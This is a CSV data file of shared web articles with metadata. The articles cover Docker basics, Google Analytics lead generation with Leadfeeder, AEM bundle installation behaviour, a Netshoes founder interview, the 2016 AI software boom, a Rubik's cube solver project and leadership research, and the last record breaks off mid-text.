1474815847,CONTENT SHARED,9175693555063886126,1374824663945909617,-7520177282913389815,,,,HTML,https://bittencode.wordpress.com/2015/07/08/15-minutos-sobre-docker/,15 minutos sobre Docker,Neste post eu compartilho um vídeo e uma apresentação sobre o que é o Docker e como começar a usar. O objetivo aqui é mostrar como é fácil começar a usar ao compartilhar a referencia da documentação e mostrando a execução do Docker em linha de comando. Este post serve pra quem já ouviu falar sobre Docker e quer então começar a brincar com ele. É um guia simples para os iniciantes. Descrevo então sobre: 1. Conceitos básicos 2. Instalação 3. Repositórios de images 4. Criar suas próprias images 5. Executar containers baseados nas images. Espero que gostem! Segue os slides: Referência:,pt
1474894385,CONTENT SHARED,-2703878216681968882,361614354650880527,7222946442268325811,,,,HTML,https://analytics.googleblog.com/2016/09/using-google-analytics-with-leadfeeder.html,Using Google Analytics with Leadfeeder for B2B Lead Generation,"Google Analytics is an important tool for marketers. It's used to understand how people come to your website, how different content performs and how to get more conversions. All this is essential for knowing how to drive more high-quality traffic to your website. For most B2B firms, the main purpose of their website is to generate sales leads by getting visitors to fill in some kind of contact form. But many see that just a fraction of visitors leave their contact information, and as a result, salespeople don't get enough good quality leads from their website. So what can be done to improve this situation? This guide will show you the 3 best ways to generate leads with Google Analytics: 1. Using Google Analytics Network report 2. Using a custom Google Analytics report template tool 3. Using Google Analytics with Leadfeeder for lead generation One way to gain more leads from your website is identifying companies that visit, based on their IP address. With this data, you can have some information about the 98% of visitors that don't explicitly contact you. When people visit a website using their office network, marketers can identify that someone from a certain company has visited and pinpoint what they have done there. For B2B outbound sales teams, this information can be very valuable. If you see a company visiting your website, there's a high probability that they're in need of- and evaluating your product, which is the perfect time to get in touch with them. Based on the IP address alone, it's impossible to know exactly the name of the visitor, but in many cases this information is not needed. For example, if you sell email marketing tools and a company comes to your website and browses product pages, it's a strong signal they are looking for a new email marketing tool. When you contact them, you want to contact the person who's responsible for digital marketing, regardless of who visited your website. For effective lead generation purposes, you should be able to identify real companies that have visited your website and see how they have behaved, to evaluate if they are a good lead. 1. Using Google Analytics Network Report Using the Network report is the most common way to see which companies have been visiting your website. There have been many blog posts about this topic, for example this LunaMetrics post by Dan Wilkerson from 2012, this how-to article from Anna Lewis and a post by Traian Neacsu on uncovering hidden leads . But these posts are all now a couple of years old and the Google Analytics interface has changed quite a lot since then. These days (2016) you can find the Network report in Google Analytics under Audience > Technology > Network. Network report in Google Analytics In the Network report (seen above) you will see a list of ""Service Providers"". What Google Analytics means by ""Service Provider"" is the network where the visitor has been when they visited your website. Networks are always owned and registered by someone; typically a company, Internet Service Provider or some other organization. One challenge in using the Network report is that many times the IP is registered by an Internet Service Provider (ISP) or some other non-interesting organization. In order to see the real companies, you should filter out ISPs from the list. The easiest way of doing this is to use the advanced search button and select to exclude Service Providers that match the following RegExp (just copy/paste this to the filter): (not set|customer|internet|broadband|isp|cable com|network|tele|dsl|subscriber|pool|telecom|cable|addresses|telefonica|routed|leased line|communication|comcast|verizon|road runner|service provider|unknown|provider|t-mobile|wifi|telkom|sprint|at-t|residential|province|vodafone|clients|china|dial-up|netblock|wimax|wireless|elisa|sonera|dna oy|at&t|assigned|sl-cgn|block|consumers|kpn|telia|bredband|google|hosting|zscaler|city of|tdc|hubspot) Now the list of visiting companies should look a lot cleaner. If you wish to filter the results even further, e.g. only companies from a specific country, you should create a segment out of visitors from that country and look at the report again. By default for each company in the list you can see how many sessions they have had during the selected time interval, how many pages they have visited and other metrics. When you click on one company, you can get to a more detailed report, like this one below. In this view, select ""Page Title"" or ""Page"" as secondary dimension to know which pages the company has visited. This way you know what they have done on your website and what they were interested in. If they were visiting relevant product pages or they spent a lot to time on your site but didn't contact you, maybe it's a good lead for your outbound sales team to contact. Using Network report to see what company did on the website If you would really like to know what each company and their employees have done on your website, you can go to the brand new User Explorer report under the Audience section in Google Analytics. This report was introduced in Google Analytics in April 2016 and in the report you can dive into individual visitors and their behavior. To know what a company did on your website, just create a segment where the Service Provider matches the company you are interested in (see below). Using User Explorer to see visitors from one company By doing this Google Analytics shows you Client IDs (anonymous and unique IDs of each visitor) from that company and by clicking one client ID (one user) you can see all the behavior of that user on your website. This way you can have a good understanding about what any given person from one specific company did on your website. Pretty powerful stuff, as you can see below. Using User Explorer to see visits of one user 2. Using a custom Google Analytics report template tool At Leadfeeder we created a ready-to-use Google Analytics custom report that anyone can take into use for free. Just click the link below and attach it as a custom report to the Google Analytics View you typically use: When you click this link, you will be directed to Google Analytics and asked which view you want to attach it to. Remember that by default this custom report will be visible only for you. If other users want to use this report, they should also click the Add to Dashboard link above. B2B Lead generation report by Leadfeeder Our custom tool by default shows the most interested companies that have visited your website. To be more precise, this is a list of companies after ISP filtering (using the filter pasted above) sorted by pages / session, with the most interesting visits on top. Typically companies that have spent a lot of time and loaded many pages are more interested than companies with many short visits. Once you click an interesting company, you can see a list of days on which they have visited. When you click even further into a specific date, you can see a breakdown of all the pages they visited. If page titles are not descriptive enough or not set, you can use ""Page"" as a secondary dimension to see page URLs (as shows below). Using B2B Lead generation report by Leadfeeder In the tool you can see several tabs that you can use (see above). The most interested companies tab is selected by default, but you can also select the second tab - companies with most visitors - that shows companies that have most visits on your website. Many times here you can find ISPs that were not filtered out along with other non-interesting companies. If you like, you can drill into details in the same way as in the first tab. The 3rd and 4th tabs in the report are selectors that you can use to filter data. For example, if you are only interested in German companies, go to ""Selector: Visitor location"" tab and select Germany. After that click to the first tab to see the most interested companies from Germany. If you have a sales representative located in Germany searching for German leads, you can automatically have Google Analytics send this lead list by daily or weekly email. Automating notifications from B2B Lead generation tool by Leadfeeder Similarly, if your sales team's responsibilities are divided by product, then sales reps might only be interested in leads that have visited certain product pages. Go to ""Selector: Visited page"" tab and select the product page each sales rep is interested in. Again, after making the selection, go to the first tab to see the list of the most interested companies visiting that product page and automate lead reports to your sales rep's mailbox. You can also combine these selectors to create a list of companies from a specific country that have visited a specific product page. 3. Using Google Analytics with Leadfeeder for lead generation Using the Google Analytics user interface for lead generation is possible as you can see, but not very salesperson-friendly. In order to better generate leads from your website for your sales department and do much much more, we created an online tool called Leadfeeder. Since Google Analytics is already collecting all the data about your website visitors, Leadfeeder fetches this data from Google Analytics API and does all the data crunching for you. Leadfeeder lead generation main report Once you sign up to Leadfeeder, it fetches all visitor data from your Google Analytics for the past 30 days. You don't need to install any codes or script on your website; all you need to do is permit Leadfeeder to access your Google Analytics. The web app filters out ISPs (a lot more than the Google Analytics filters shown in this post) handing you a clean list of companies. Once you see an interesting company and click on it, you see visit-by-visit, page-by-page what they have done on your website (as shown below). Leads are also enriched with additional company information such as company branch and size. With all this information it's easier to determine whether the lead is interesting and whether they should be contacted. Leadfeeder showing which pages a company has visited Not all website visitors are interesting, so you can use custom feeds to filter out bounces and view only companies that have behaved in a way you find interesting. For example, you can define a custom feed rule to only show companies from a certain country, from a specific industry, companies that have visited a set number of pages and have visited a specific page but haven't contacted you. Using this kind of custom feed you can get a much more relevant list of leads for your sales team. In many companies sales responsibilities are divided by region or product so it's good practice to make custom feeds for individual sales reps for only their areas of responsibility. Salespeople can subscribe to their personal custom feed to get daily or weekly email notifications about new companies that visit their website and match the set criteria. Understanding the online behaviour of your website visitors combined with knowing the location of the company visit gives sales reps powerful weapons for successful follow-up . Using custom feeds in Leadfeeder to filter lead list Seeing a qualified list of interested companies is already powerful, but this sales intelligence should fit within your existing sales process to be really useful. We know it's the dream of many sales reps to have good leads magically appear in their CRM without the need to do anything, so that's why at Leadfeeder we have built integrations to sync visitor data with your CRM. The integration to Pipedrive and WebCRM are made two-way, which means that in Leadfeeder you can see CRM data for the visiting company, while in your CRM you can see all the website visits the company has made, once it's been connected. This makes it easier for sales reps to distinguish between new and old clients in Leadfeeder, create accounts and opportunities in their CRM with one click from Leadfeeder, and see in their CRM how prospects are interacting with their website. Using CRM integration to sending leads from Leadfeeder to CRM If you are not using a CRM at all, leads can also be sent to sales reps by email or you can assign leads for them to see inside Leadfeeder. It's good practice to invite the whole sales team to use Leadfeeder with their own user profiles and it's free to add users. In addition, if you are using Mailchimp for email marketing, you can connect it to Leadfeeder to see in Leadfeeder what individuals do on your website when they click through from one of your MailChimp campaigns. This is possible because Mailchimp tags links uniquely for all recipients and Leadfeeder can transform these unique links into email addresses. This way you can know exactly who the visitor was on your website. Leadfeeder offers a free 30-day trial with no credit card required, so if you are in B2B business and would like to get more sales leads, go and sign up at www.leadfeeder.com . Conclusions Web analytics has made marketing a lot more intelligent during the last 10 years, but similar development hasn't transferred to sales. Web analytics has enabled email tools to evolve into marketing automation by tracking what email clickers do on your website and triggering follow-up emails. Display marketing, similarly, has evolved into very efficient remarketing, where ads are shown to those who have completed action on your website. In short, there are a lot of digital signals potential customers are giving all the time, but those haven't been utilized well in sales so far. Many sales reps come to work, open their CRM and start calling through a lead list someone has given them. Meanwhile there are lots of potential customers browsing their website but sales reps aren't aware of who they are. Our aim at Leadfeeder is to make sales more intelligent by providing salespeople actionable web analytics intelligence about potential customers, thereby making sales more effective. Posted by Pekka Koskinen, Google Analytics Certified Partner",en
1474895455,CONTENT SHARED,6059546463839992340,8674645243865302728,4213478829081404136,,,,HTML,http://blog.mooregreatsoftware.com/2015/07/21/aem-6-dot-1-packages-and-bundles-installing-and-uninstalling-behavior,AEM 6.1 Packages and Bundles - Installing and Uninstalling Behavior,"Purpose We're trying to use multiple packages to provide ""sub-applications"" and give Adobe AEM 6.1 more of a ""microservice"" feel. However, one of the major points of µservices is that they should be as ""self-contained"" as possible to allow for deployment flexibility. How practical is that in Apache Sling/Adobe AEM? When installing bundles using Sling's JCR Installer Provider via the Package Manager, there are some interesting behaviors that can easily catch people unaware. Setup To demonstrate, I created four packages with a single bundle -  org.jsoup  - in each. They each have a filter.xml file that specifically uninstalls exactly the bundle file that package installs. Results The details of each run follow, but the summary is: Installing the same bundle to the same location works, but is very order dependent when it comes to uninstallation. It works great if you uninstall in FILO order. (In other words, treat package installation like a stack.) The bundle is INSTALLED and ACTIVE with the first package. The second package takes a snapshot of the state of the path before writing, and since Felix notices that the bundle name and version haven't changed, it effectively ignores the operation. Uninstalling the second bundle, restoring the state of the path. Felix again notices that nothing about the bundle name and version have changed, so it does nothing. Finally, uninstalling the first package causes the bundle to be STOPPED, UNINSTALLED, and triggers a REFRESH. It gets much more surprising if you uninstall in FIFO order. Again, the bundle is INSTALLED and ACTIVE with the first package. The second package takes a snapshot of the state of the path before writing, and since Felix notices that the bundle name and version haven't changed, it effectively ignores the operation. Uninstalling the first package removes the file from the path , so it causes the bundle to be STOPPED, UNINSTALLED, and triggers a REFRESH. Even more interestingly, uninstalling the second bundle causes the snapshot it had taken earlier to be restored : putting the file back into the path and causing the bundle to once again be INSTALLED and ACTIVE - even though both of the packages are now uninstalled! Installing the same bundle in different locations behaves ""reasonably."" Because both files have the same bundle name and the same version, Felix sees the second one and goes ""Oh, I already have this INSTALLED, so don't try to install it again. But do take note of the fact that another file provides this bundle/version combination."" Uninstalling in any order leaves the bundle INSTALLED until the last file providing the bundle is removed. There is a bug that causes Felix to not refresh the file providing the bundle when reporting on the bundle (such as in the Bundle view in the Felix web console). For example, install tester1 , install tester3 , uninstall tester1 and the bundle information still thinks that the file from tester1 is the source of the bundle. Fortunately, behavior-wise it makes no difference since it still properly uninstalls when tester3 is removed. Felix can only handle a single instance of a bundle. What this means is that it has to follow some heuristics on what bundle to have ACTIVE at any time . The gist is that it will use the highest version available. Installing tester3 will causes org.jsoup-1.7.1 to be ACTIVE. Installing tester4 will cause Felix to UNINSTALL org.jsoup-1.7.1 and then ACTIVATE org.jsoup-1.8.2 . Note that a bundle version is independent from a package version. For example, if the bundle in tester3 provided exactly the same package export information but its bundle name was changed to foo.org.jsoup , then the package org.jsoup could be available from the Service Locator with both versions 1.7.1 and 1.8.2. Details I've done some editing of the logs to reduce noise. Test Cases Same Location - FILO Installing two packages that install the same bundle in the same location, then uninstall them FILO order . /apps/install/jsoup-1.7.1.jar is still around and ACTIVE Same Location - FIFO Steps : Install tester1 , install tester2 , uninstall tester1 , uninstall tester2 After restoring state to before with install of tester1 then tester2 ...​ /apps/install/jsoup-1.7.1.jar is gone around and UNINSTALLED When you uninstall tester2 /apps/install/jsoup-1.7.1.jar is put back and ACTIVE Different Locations - FILO STEPS: Install tester1 , install tester3 , uninstall tester3 , uninstall tester1 Bundle is still ACTIVE and at /apps/install/jsoup-1.7.1.jar Uninstall Unused Bundle File Steps : With tester3 and tester4 installed, uninstall tester3 Install A Bundle Then Install A Lower Version The bundle file /apps/tester3/install/jsoup-1.7.1.jar was registered with the OSGi installer, but the bundle was not actually installed because a higher version of the bundle name already exists.",en
1474897868,CONTENT SHARED,6909761382991856804,-1352064057049251194,8437308270280964371,,,,HTML,https://www.ecommercebrasil.com.br/noticias/fundador-da-netshoes-fala-ao-e-commerce-brasil-sobre-inovacao-gestao-de-pessoas-e-futuro/,"Fundador da Netshoes fala ao E-Commerce Brasil sobre inovação, gestão de pessoas e futuro","Empreendedor nato, Marcio começou a trabalhar aos 16 anos em uma loja de calçados em São Paulo. Quando tinha quase 20 anos lançou a primeira loja física, em parceria com um primo . Nascia então o maior e-commerce de produtos esportivos do Brasil, que hoje já entrega cerca de 30 mil pedidos por dia em todo o Brasil. nossa matéria sobre a Palestra de Marcio Kumruian no Congresso E-Commerce Brasil Gestão Conversamos com Marcio Kumruian poucos minutos antes dele subir ao palco do Congresso. O resultado dessa conversa você vê abaixo: ECB: A Netshoes está completando quase 16 anos. De lá para cá muita coisa mudou, mas afinal, o que não mudou? Marcio: ""A cultura da Netshoes é algo muito forte. Os valores são colocados desde o início com muita transparência tanto para quem já está dentro como para quem quer entrar. Também temos o trabalho de sempre relembrar esses valores e mostrar que as atitudes são a melhor forma de demonstrar isso. Entendemos que tem que haver uma relação clara entre empresa e colaborador, por isso dizemos sempre o que esperamos de cada profissional. Isso faz com que essa relação fique mais fácil e transparente. Isso não mudou. ECB : Um dos pilares da Netshoes é a gestão de pessoas - que tem sido um grande desafio para varejistas e empresas em geral. Qual é o segredo para continuar motivando essas pessoas? Marcio : ""O varejo definitivamente mudou de patamar. O varejo já não é o mesmo dos anos 2000, a própria Netshoes não é mais uma empresa de varejo e sim de tecnologia (pautada por muito serviço e ao mesmo tempo muita venda de produtos e soluções aos clientes). O varejo é composto por muito mais pilares agora que no passado, e com isso o profissional precisa ter diferentes skills. Os setores de marketing, tecnologia, logística, atendimento e muitos outros não existiam no varejo dos anos 2000, por exemplo. A gestão se tornou mais complexa e exige profissionais capazes de desempenhar todas essas tarefas - até porque a transparência entre as relações forçam você a ter uma empresa muito mais preparada. O varejo tem um desafio de gestão, principalmente no e-commerce. Você precisa treinar a maioria dos profissionais, por que eles precisam ter histórico e vivência de e-commerce e em grande escala. É uma área nova é um segmento novo, mas que na essência traz a mesma relação entre lojista e consumidor. A diferença é que no e-commerce há mais inteligência e dados, já que você está conectado de inúmeras maneiras com o consumidor. No e-commerce é preciso trazer pessoas que tenham capacidade, vontade e determinação para desenvolver variados papéis, assim fica mais fácil ele se adaptar à essa realidade. Dos anos 2000 pra cá houve uma revolução transacional. Participar dessa mudanças é o grande legado e também é o que motiva as pessoas a escrever junto conosco uma história para o futuro"". ECB : Hoje a Netshoes já é referência e se tornou líder do setor. Mas ao mesmo tempo ela nunca se acomodou. De onde vem tanta inspiração? Marcio : ""No começo você me perguntou sobre o que não mudou. Isso também não mudou. Inconformismo positivo faz parte do nosso mantra. A Netshoes busca sistematicamente ser sustentável, não apenas criar o business, mas também desenvolver o business e aprimorar a experiência do cliente. Somos um negócio que começou nos anos 2000, durante o pós-bolha nos Estados Unidos, por isso estamos sempre em construção. E isso significa desafiar. Inovar é quando você troca ou muda a lógica das coisas e essa lógica vem mudando numa velocidade muito maior. Isso motiva e move a Netshoes em busca de novos processos, novas maneiras de agradar o cliente todos os dias, ou de tornar a vida dele mais fácil. Esse mindset está presente em toda a companhia: não só a busca pela produtividade, mas também partir sempre da relação entre nós e o consumidor. A Zattini é um bom exemplo disso: um projeto que nasceu em 4 meses e logo no primeiro ano já está entre as líderes de moda online no Brasil. Aprendizado, vontade e inconformismo é uma mistura bastante explosiva! ECB: Falando da internacionalização das vendas, o que você diria para os lojistas que estão começando a pensar em Cross Border? Marcio: ""A primeira coisa é: se você quer expandir seus negócios você precisa ter uma operação muito sólida no seu país. Nunca você será perfeito, mas você precisa estar no mínimo bem estabelecido. Aí sim você pode dar um novo passo. Com certeza a América do Sul parece mais fácil, mas antes disso você precisa entender o mercado, entender a concorrência. Quando fomos para a Argentina e México em 2011 não existia nada. Hoje somos líderes nos dois países no nosso segmento. Mas se fôssemos entrar hoje, seria completamente diferente, seria outro cenário, players estabelecidos. Antigamente não tínhamos tantos dados do Google, Facebook e outros parceiros que te dessem estatísticas de acesso à internet. Quando pensar na expansão, consuma bastante informação e análise mercado e concorrência e comece um step de cada vez. É difícil fazer uma expansão rápida. Obviamente cada um tem sua característica, mas o ponto é: se você vai expandir, normalmente você tem o seu crescimento no Brasil e fora. Mas com certeza tem muita oportunidade. Só é necessário respeitar as peculiaridades e culturas de cada região. ECB: A Black Friday já é uma data consolidada no Brasil e inclusive já foi incorporada pelo varejo físico. Como tem sido a experiência da Netshoes com a Black Friday nos últimos anos? Marcio: ""A Black Friday é uma data intrigante. Ela antecipou o Natal e isso mexe com o calendário do varejo brasileiro e não necessariamente para melhor, já que vendemos produtos com desconto às vésperas de outra data muito forte para o consumo. Saímos de uma data em que as pessoas procuravam a sua loja naturalmente e aí sim você entrava em liquidação em Janeiro. Teve uma inversão de calendário muito forte, por isso os varejistas ainda estão se adaptando a esse modelo. Eu acredito que essa é uma data muito mais do online, apesar da grande participação do varejo físico. Um dia de desconto você não tem todo o tempo necessário para consultar as melhores ofertas. Quando você tá na sua casa, no seu conforto consultando com o seu celular, seu notebook e busca as melhores ofertas com várias ferramentas, você fica muito mais à vontade para comprar online. Nesse sentido inovamos quando criamos o Black November, um mês todo de ofertas na Netshoes e Zattini. Com isso diluímos o efeito da Black Friday e diminuímos outro problema sistêmico que é a avalanche de pessoas entrando nas lojas e, acredite, nem todo sistema está preparado para isso. Dessa forma diminuímos também o sentimento de ""Black Fraude"", o arrependimento do comprador e conseguimos administrar melhor os prazos de entrega. A ideia é trabalhar em conjunto com os outros lojistas para melhorar a usabilidade da Black Friday e garantir transparência e efetividade da data. A Netshoes foi vencedora do Prêmio E-Commerce Brasil de Inovação 2016. Leia mais aqui: Por: Alice Wakai, para Portal E-Commerce Brasil",pt
1474904237,CONTENT SHARED,-1693609914930807886,3217014177234377440,6533698384946710836,,,,HTML,http://pmisp.org.br/index.php?option=com_content&view=article&id=2509,[Webinar] OCTAGON GP: Uma ferramenta facilitadora para análise de projeto,"No final dos anos 70, havia em São Paulo uma organização de gerenciamento de projetos com difusão, principalmente, no campo da Engenharia & Construção. No final de 1996, dezenas de profissionais egressos dessas entidades criaram um movimento em prol da Reorganização de Projetos, que acabou por se definir pela criação de uma filial do PMI em São Paulo.",pt
1474908637,CONTENT SHARED,-5750828394349042089,3829784524040647339,-587670984108709819,,,,HTML,http://www.nytimes.com/2016/09/19/technology/artificial-intelligence-software-is-booming-but-why-now.html,Artificial Intelligence Software Is Booming. But Why Now?,"SAN FRANCISCO - This is the year artificial intelligence came into its own for mainstream businesses, at least as a marketing feature. On Sunday, Salesforce.com , which sells online software for sales and marketing, announced it would be adding A.I. to its products. Its system, called Einstein, promises to provide insights into what sales leads to follow and what products to make next. Salesforce chose this date to pre-empt Oracle , the world's largest business software company, which on Sunday evening began its annual customer event in San Francisco. High on Oracle's list of new features: real-time analysis of enormous amounts of data. Oracle calls its product Oracle A.I. Elsewhere, General Electric is pushing its A.I. business, called Predix . IBM has ads featuring its Watson technology talking with Bob Dylan . These moves, along with similar projects at most major tech companies and consulting firms, represent years of work and billions in investment. There are big pushes in A.I. in agriculture, manufacturing, aviation and pretty much every other sector of the economy. It's all very exciting, the way great possibilities are, and clearly full of great buzzwords and slogans. But will other companies see any value in all this or understand if A.I. has value for them? ""No one really knows where the value is,"" said Marc Benioff, co-founder and chief executive of Salesforce. ""I think I know - it's in helping people do the things that people are good at, and turning more things over to machines."" Mr. Benioff wasn't selling Einstein's capabilities short. He was talking about the long-term value of artificial intelligence, which is passing through a familiar phase - a technology that is strange and new, that sometimes overpromises what it can do and is headed for uses not easily seen at the start. Cloaked inside terms like deep learning and machine intelligence, A.I. is essentially a series of advanced statistics-based exercises that review the past to indicate the likely future, or look at current customer choices to figure out where to put more or less energy. Perhaps a better question than ""What is the value?"" of this explosion of advanced statistics is ""Why now?"" That shows both the opportunity and why many companies are scared about missing out. Much of today's A.I. boom goes back to 2006, when Amazon started selling cheap computing over the internet. Those measures built the public clouds of Amazon, Google, IBM and Microsoft, among others. That same year, Google and Yahoo released statistical methods for dealing with the unruly data of human behavior. In 2007, Apple released the first iPhone, a device that began a boom in unruly-data collection everywhere. Suddenly, old A.I. experiments were relevant, and money and cheap data resources were available for building new algorithms. Ten years later, computing is cheaper than ever, companies live online and in their phone apps, and sensors are bringing even more unruly data from more places. Amazon, Google and the rest have exceptional A.I. resources for sale, but many older companies are wary of turning their data over to these upstarts. That, along with fear of a competitor getting on top of A.I. first, is a big motivation for some to try things out. Salesforce is selling Einstein as a system that can work predictive magic without having to look at your data, in what Mr. Benioff calls a ""democratizing"" move that will create millions of A.I. users who are not engineers. He said this on his way to attend a series of customer focus groups around the country, however - strong evidence that customers don't get it yet, even if they're willing to try it. ""There's fear of Google and Microsoft controlling everything, and there's a desire to apply A.I. to anything that's digital,"" said Michael Biltz, managing director of Accenture's technology vision practice. ""People are going to have to experiment, most likely first on pain points like security and product marketing."" How will we know when the A.I. revolution has taken hold? A technology truly matures when it disappears. We don't marvel at houses with electricity now, or the idea of driving to work at 60 miles an hour. We can say ""phone"" and mean a hand-held computer with NASA-level processing power and a professional-quality camera for taking selfies with our drones. A.I. is probably heading for the same places, invisibly sorting through lots of data everywhere to continuously update and automate most of our lives. Goodness knows what the weird new tech thing will be about at that point.",en
1474914360,CONTENT SHARED,4577451034168098359,3061273947166110301,-4294318496550281618,,,,HTML,http://www.cbarker.net/projects/cubr,Cubr,"Cubr is a project I completed in three weeks at the end of my introductory computer science class at CMU. The idea is simple: you mix up a Rubik's cube. You show the cube to your computer's webcam. Some magic happens, and your cube appears onscreen. Then, the cube begins to solve itself, and all you have to do is follow along and you will have solved your cube! Here's the web version . The web version is missing webcam integration for now. Here's a video presentation: Color Recognition One of the biggest challenges in this project is color recognition. Figuring out what color a pixel is showing on your monitor is easy, because your computer has a digital model of it. But it's a little more tricky to read the input from a webcam to figure out what color is on a shiny sticker on a plastic cube. Every room has different lighting, stickers show glare if your monitor's brightness is too high, and so on. The best we can do is guess what color a sticker is. Of course, we can try to make our guesses really good. I gathered a fairly large set of data on the HSV and RGB values of each colored sticker in different lighting situations. Looking back now, I could have done a lot better with that data. I could have trained a machine learning model, and I could have taken into account whole-setting attributes rather than looking at each sticker individually (i.e., notice that this blue sticker is lighter than most blue stickers -> ask the model how that will most likely affect the orange stickers). Alas, I didn't do that. Instead, I did this: I wrote code to find the mean HSV and modal RGB from each sticker. I assumed that the dataset's HSVRGB curve for each sticker color had a normal distribution. The ""model"" finds the deviation from the mean along each dimension for each sticker color, and determines a probability for each sticker color. It returns the most likely color. Sounds good, right? Well... it was correct less often than hard-coded thresholds. If I had known what an HMM was at that time, maybe it wouldn't have been so inaccurate. But I didn't, and it was. And I needed accurate results for my presentation... so as much as it killed my sense of robust design, I eyeballed the HSV and RGB values and found some thresholds that worked 95% of the time in 95% of lightings. Ahh... it burns. It burns my soul. But it works. Of course, I included a GUI to manually modify the colors on each cell of the cube. A 3D ""mirror"" of the cube is shown on the same screen as the webcam's view. The colors on this mirror represent what will be stored internally, so the user can notice if it doesn't match up with the physical cube. The highest level functions I could use for drawing onto the numpy.ndarray image were polygon-filling functions. This made drawing a 3D Rubik's cube a bit of a challenge. Fortunately, I already had written some 3D-Vector-polygon-to-2D-output code for interfacing with Tkinter. A good GUI in Tkinter is possible, but... You have to reinvent the wheel. And the spoke, and the axle. Not wood, though. Wood is already invented for you. To create a GUI in Tkinter, I used one widget: a Canvas. In early versions of the game, I used Tkinter's Button and Label widgets, but they were unappealing and offered little flexibility. I wanted as much flexibility as possible for this project. That meant no VPython, because I would be unable to draw 2D shapes directly onto the Canvas, I would be unable to create polygons (they would need to be really thin polyhedrons), and the events to which I could bind listeners would be limited (VPython takes over clicking and dragging). If anyone knows how to get around any of that, I'd love to hear from you about it. But as it was, I was stuck using Tkinter. So, I wrote a geometry module to implement a Vector class and a Camera class. The Camera class has a flatten method that takes a 3D vector and ""flattens"" it to 2D coordinates based on the Camera's view. After I had this foundation, I could write all my code to reason in 3-space, and drawing onto the 2D canvas was taken care of. As for the buttons, Tkinter does have decent event handling. You can trivially change the color or border-width that a shape displays when it is moused over: And binding an event listener to the shape is equally trivial: I was able to design the GUI in an intuitive and responsive way, for the purposes of this project anyway, using Tkinter. The main limitation is that it could get slow. Rendering 3D on a 2D canvas using CPython is not the quickest thing in the world. Since I did not do any shading or texturing for this project, the performance was fine, but I would not recommend it for graphics-intensive projects. Tkinter does not interface with the OS as well as frameworks like .NET. For this project, though, most of the interface was atomic. However, I did run into some trouble when integrating with OpenCV. To display video from the webcam, I had to hand over control to OpenCV's ""NamedWindow"" class and put my Tkinter window in the background. It would have been ideal if I were able to integrate the video stream into my GUI. So, Tkinter has its limitations, but for projects that do not need to surpass those limitations, it can be used effectively. ""I'm sure you all know how to solve a Rubik's cube, but I don't..."" This was my opening line for my presentation on this project. People laughed. He created a Rubik's cube solver; of course he knows how to do it! Well, I understand the steps. I understand what each algorithm does. But I really haven't memorized those algorithms. I didn't get into software design because I wanted to memorize and regurgitate algorithms. I did it because I want to design and write them. If you gave me a Rubik's cube right now, I could solve it part of the way. I could solve the first two layers and a bit of the third. But after that, I'd have to get my computer out and fire up Cubr. I had a couple of choices when I was deciding which Rubik's cube solution algorithm I wanted to implement. One is the beginner's three-layer method. This is the one that most people know and memorize. I used to know it, and I could solve a cube in around 50 seconds using it ( that's not very good ). There are other algorithms that require a lot more memorization and quick pattern recognition; however, they are in the same class of solutions as the three-layer method. The other option was to write an algorithm to find an optimal solution. This would have been a lot easier to implement, because all I would have to do is walk a tree of all possible move combinations until I find a solution. Simple, right? Yes, it would be no more than 10 lines of code. BUT- it would take a while to find a solution. The maximum number of move sequences that would need to be tried is on the order of 18^20, which is about 1.275E25. That's an upper bound, of course, because many of those sequences could be excluded by not exploring the same node twice. But at that upper bound, assuming we have a super-fancy problem-specific logic gate that can execute 20 Rubik's cube turns on an array in one clock cycle, at 4GHz (why not, right?) that's 101,060 millennia to find the optimal solution. So my ten lines of code may not work so well.. Upon further research, I found that there are profile tables that can be used to speed up the search for an optimal solution. However, the algorithm I found was for a grad school project, and I only had three weeks, so learning how to create tables to solve NP-complete problems with a defined search space had to wait for another day. Instead, I implemented the three-layer algorithm. It is the most popular algorithm among beginners because it is intuitive and requires relatively little memorization. There were a couple hurdles to pass. Most beginners are taught to ""solve the cross"" on the top layer by moving the edges pieces on one face into their correct locations. This is intuitive for a human to understand, but special care was needed to cover all the possible cases in my solutions module. I have to admit, the solutions module is a lot more supervised than ""try to put that piece over there"". It examines each piece of the cube, in a specified order (except the third layer, which is done all at once), and chooses the correct algorithm from a set based on its position relative to its desired position. All in all, it came to over a thousand lines of code to explicate the algorithm. The most difficult part of writing the algorithm was translating ""if the piece is directly under where it needs to be, then turn the bottom face clockwise, turn the right face counterclockwise, ..."" into ""if the piece's location minus the edge face's location dotted with the desired location minus the edge face's location is equal to negative one..."". It was very much a spacial reasoning problem, and in order to abstract it as much as possible, that is, to generalize as many cases as possible, I found myself expressing conditions as various vector expressions that described a general situation, like crossing to vectors and dotting that with the face they share to determine whether a piece is clockwise or counterclockwise from another piece. And so on. The good news is, with all this guidance, the algorithm works very quickly, even with the overhead of python lists (as compared with ndarrays). On average, the algorithm takes less than 100,000 millennia.",en
1474914822,CONTENT SHARED,7216750853471801538,-1387464358334758758,-6409893296920806478,,,,HTML,https://hbr.org/2016/09/what-science-tells-us-about-leadership-potential?,What Science Tells Us About Leadership Potential,"Although the scientific study of leadership is well established, its key discoveries are unfamiliar to most people, including an alarmingly large proportion of those in charge of evaluating and selecting leaders. This science-practitioner gap explains our disappointing state of affairs. Leaders should drive employee engagement, yet only 30% of employees are engaged, costing the U.S. economy $550 billion a year in productivity loss. Moreover, a large global survey of employee attitudes toward management suggests that a whopping 82% of people don't trust their boss . You only need to google ""my boss is..."" or ""my manager is..."" and see what the autocomplete text is to get a sense of what most people think of their leaders. Unsurprisingly, over 50% of employees quit their job because of their managers . As the old saying goes, ""people join companies, but quit their bosses."" And the rate of derailment, unethical incidents, and counterproductive work behaviors among leaders is so high that it is hard to be shocked by a leader's dark side. Research indicates that 30%-60% of leaders act destructively, with an estimated cost of $1-$2.7 million for each failed senior manager. Part of the problem is that many widely held beliefs about leadership are incongruent with the scientific evidence. As Mark Twain allegedly noted, ""It ain't what you don't know that gets you into trouble. It's what you know for sure that just ain't so."" For example, it is quite common for people to believe that leadership is largely dependent on the situation, that it's hard to predict whether someone will be a good (or bad) leader, and that any person can be a leader. In reality, some people have a much higher probability of becoming leaders, regardless of the context, and this probability can be precisely quantified with robust psychological tools. What do we really know about the measurement of leadership potential? Here are some critical findings: Who becomes a leader? Although leaders come in many shapes, a few personality characteristics consistently predict whether someone is likely to emerge as a leader. As the most widely cited meta-analysis in this area shows, people who are more adjusted, sociable, ambitious, and curious are much more likely to become leaders. (53% of the variability in leadership emergence is explained by these personality factors.) Unsurprisingly, higher levels of cognitive ability (IQ) also increase an individual's likelihood to emerge as a leader, though by less than 5%. Of course, 